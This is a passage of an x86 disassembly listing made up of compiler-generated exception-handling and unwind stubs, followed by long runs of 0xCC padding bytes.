		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B6A4:				; DATA XREF: ___:00425BD2o
		mov	eax, offset dword_441928
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 32h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426450	proc near		; DATA XREF: sub_426450+2o
		mov	eax, offset dword_441A08
		jmp	sub_4367C8
SEH_426450	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B708:				; DATA XREF: ___:00441A64o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4264C0	proc near		; DATA XREF: sub_4264C0+2o
		mov	eax, offset dword_441A38
		jmp	sub_4367C8
SEH_4264C0	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B758:				; DATA XREF: ___:00441AB4o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426560	proc near		; DATA XREF: sub_426560+2o
		mov	eax, offset dword_441A88
		jmp	sub_4367C8
SEH_426560	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4266A0	proc near		; DATA XREF: sub_4266A0+2o
		mov	eax, offset dword_441AD8
		jmp	sub_4367C8
SEH_4266A0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4269A0	proc near		; DATA XREF: sub_4269A0+2o
		mov	eax, offset dword_441B08
		jmp	sub_4367C8
SEH_4269A0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426A60	proc near		; DATA XREF: sub_426A60+2o
		mov	eax, offset dword_441B38
		jmp	sub_4367C8
SEH_426A60	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426EB0	proc near		; DATA XREF: sub_426EB0+2o
		mov	eax, offset dword_441B68
		jmp	sub_4367C8
SEH_426EB0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426F70	proc near		; DATA XREF: sub_426F70+2o
		mov	eax, offset dword_441B98
		jmp	sub_4367C8
SEH_426F70	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427590	proc near		; DATA XREF: sub_427590+2o
		mov	eax, offset dword_441BC8
		jmp	sub_4367C8
SEH_427590	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427650	proc near		; DATA XREF: sub_427650+2o
		mov	eax, offset dword_441BF8
		jmp	sub_4367C8
SEH_427650	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427DC0	proc near		; DATA XREF: sub_427DC0+2o
		mov	eax, offset dword_441C28
		jmp	sub_4367C8
SEH_427DC0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B8A8:				; DATA XREF: ___:00441C84o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427E30	proc near		; DATA XREF: sub_427E30+2o
		mov	eax, offset dword_441C58
		jmp	sub_4367C8
SEH_427E30	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B908:				; DATA XREF: ___:00441CDCo
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427EF0	proc near		; DATA XREF: sub_427EF0+2o
		mov	eax, offset dword_441CB0
		jmp	sub_4367C8
SEH_427EF0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_40179E
; ---------------------------------------------------------------------------


loc_43B968:				; DATA XREF: ___:00441D34o
		mov	ecx, [ebp-28h]
		add	ecx, 0A1h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428160	proc near		; DATA XREF: sub_428160+2o
		mov	eax, offset dword_441D08
		jmp	sub_4367C8
SEH_428160	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-53ECh]
		jmp	sub_4014B0
; ---------------------------------------------------------------------------


loc_43B9AB:				; DATA XREF: ___:00441D74o
		lea	ecx, [ebp-5490h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5474h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-528Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-525Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-537Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5334h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-522Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5304h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5244h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-545Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5444h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-541Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5404h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5364h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-534Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-531Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BA92:				; DATA XREF: sub_4282C0+8o
		mov	eax, offset dword_441D48
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 44h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4299C0	proc near		; DATA XREF: sub_4299C0+2o
		mov	eax, offset dword_441E30
		jmp	sub_4367C8
SEH_4299C0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-10h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429AA0	proc near		; DATA XREF: sub_429AA0+2o
		mov	eax, offset dword_441E60
		jmp	sub_4367C8
SEH_429AA0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429D00	proc near		; DATA XREF: sub_429D00+2o
		mov	eax, offset dword_441E90
		jmp	sub_4367C8
SEH_429D00	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42A090	proc near		; DATA XREF: sub_42A090+2o
		mov	eax, offset dword_441EC0
		jmp	sub_4367C8
SEH_42A090	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42A150	proc near		; DATA XREF: sub_42A150+8o
		mov	eax, offset dword_441EF0
		jmp	sub_4367C8
SEH_42A150	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42AEC0	proc near		; DATA XREF: sub_42AEC0+5o
		mov	eax, offset dword_441F20
		jmp	sub_4367C8
SEH_42AEC0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_43BB90:				; DATA XREF: ___:0042AFD5o
		mov	eax, offset dword_441F80
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BBA8:				; DATA XREF: ___:0044200Co
		lea	ecx, [ebp+8]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-1A0h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B060	proc near		; DATA XREF: sub_42B060+2o
		mov	eax, offset dword_441FE0
		jmp	sub_4367C8
SEH_42B060	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B240	proc near		; DATA XREF: sub_42B240+2o
		mov	eax, offset dword_442020
		jmp	sub_4367C8
SEH_42B240	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E
; ---------------------------------------------------------------------------


loc_43BC08:				; DATA XREF: ___:0042B2E2o
		mov	eax, offset dword_442050
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B480	proc near		; DATA XREF: sub_42B480+2o
		mov	eax, offset dword_442080
		jmp	sub_4367C8
SEH_42B480	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40179E
; ---------------------------------------------------------------------------
		mov	eax, offset dword_4420B0
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B880	proc near		; DATA XREF: sub_42B880+8o
		mov	eax, offset dword_4420E0
		jmp	sub_4367C8
SEH_42B880	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42BB70	proc near		; DATA XREF: sub_42BB70+2o
		mov	eax, offset dword_442110
		jmp	sub_4367C8
SEH_42BB70	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-74h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-70h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BD84:				; DATA XREF: ___:0042BE68o
		mov	eax, offset dword_442168
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 32h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4347B0	proc near		; DATA XREF: sub_4347B0+2o
		mov	eax, offset dword_442250
		jmp	sub_4367C8
SEH_4347B0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-168Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BDEB:				; DATA XREF: ___:004422B4o
		lea	ecx, [ebp-16A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BDF6:				; DATA XREF: ___:004348A8o
		mov	eax, offset dword_442288
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4351E0	proc near		; DATA XREF: sub_4351E0+2o
		mov	eax, offset dword_4422C0
		jmp	sub_4367C8
SEH_4351E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4355E0	proc near		; DATA XREF: sub_4355E0+2o
		mov	eax, offset dword_4422F0
		jmp	sub_4367C8
SEH_4355E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4356F0	proc near		; DATA XREF: sub_4356F0+8o
		mov	eax, offset dword_442328
		jmp	sub_4367C8
SEH_4356F0	endp

; ---------------------------------------------------------------------------
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
